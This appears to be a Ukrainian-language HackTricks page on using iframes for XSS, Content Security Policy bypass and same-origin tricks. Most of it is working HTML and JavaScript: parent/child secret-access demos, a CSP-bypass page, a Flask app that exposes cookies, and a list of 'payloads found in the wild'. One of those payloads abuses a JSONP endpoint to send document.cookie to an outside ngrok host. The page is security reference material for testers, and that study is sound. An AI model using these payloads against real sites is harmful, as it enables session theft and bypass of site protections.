Iframes in XSS, CSP and SOP

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Iframes у XSS

Є 3 способи вказати вміст вбудованої сторінки:

  • Через src, вказуючи URL (URL може бути з різних джерел або з одного джерела)

  • Через src, вказуючи вміст за допомогою протоколу data:

  • Через srcdoc, вказуючи вміст

Доступ до змінних батьківського та дочірнього елементів

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, python3 -m http.server), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що запобігає цьому). Батько не зможе отримати доступ до змінної secret всередині будь-якого iframe і тільки iframes if2 & if3 (які вважаються однаковими сайтами) можуть отримати доступ до секрету у вихідному вікні. Зверніть увагу, що if4 вважається мати null походження.

Iframes з CSP

Зверніть увагу, що в наступних обхідних методах відповідь на сторінку, вбудовану в iframe, не містить жодного заголовка CSP, який запобігає виконанню JS.

Значення self для script-src не дозволить виконання JS-коду за допомогою протоколу data: або атрибуту srcdoc. Однак навіть значення none CSP дозволить виконання iframes, які вставляють URL (повний або лише шлях) в атрибут src. Отже, можливо обійти CSP сторінки за допомогою:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Зверніть увагу, що попередня CSP дозволяє виконання лише вбудованого скрипту. Проте будуть виконані лише скрипти if1 та if2, але лише if1 зможе отримати доступ до батьківського секрету.

Отже, можливо обійти CSP, якщо ви можете завантажити файл JS на сервер та завантажити його через iframe, навіть з script-src 'none'. Це також потенційно можна зробити, зловживаючи точкою входу JSONP на тому ж сайті.

Ви можете протестувати це за допомогою наступного сценарію, де кукі вкрадено навіть з script-src 'none'. Просто запустіть додаток та отримайте до нього доступ через свій браузер:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Інші Пейлоади, знайдені в дикій природі

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Вміст всередині iframe може бути підданий додатковим обмеженням за допомогою атрибута sandbox. За замовчуванням цей атрибут не застосовується, що означає відсутність обмежень.

При використанні атрибута sandbox накладаються кілька обмежень:

  • Вміст розглядається так, ніби він походить з унікального джерела.

  • Будь-яка спроба відправити форми блокується.

  • Виконання скриптів заборонено.

  • Доступ до певних API вимкнено.

  • Він запобігає посиланням взаємодіяти з іншими контекстами перегляду.

  • Використання плагінів через <embed>, <object>, <applet> або подібні теги не дозволяється.

  • Навігація верхнього рівня контексту перегляду вмісту самим вмістом блокується.

  • Функції, які спрацьовують автоматично, наприклад відтворення відео або автоматичне фокусування елементів форми, блокуються.

Значення атрибута може бути залишено пустим (sandbox=""), щоб застосувати всі вищезазначені обмеження. З альтернативи, його можна встановити як список значень, розділених пробілом, які звільняють iframe від певних обмежень.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes в SOP

Перевірте наступні сторінки:

pageBypassing SOP with Iframes - 1pageBypassing SOP with Iframes - 2pageBlocking main page to steal postmessagepageSteal postmessage modifying iframe location
Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated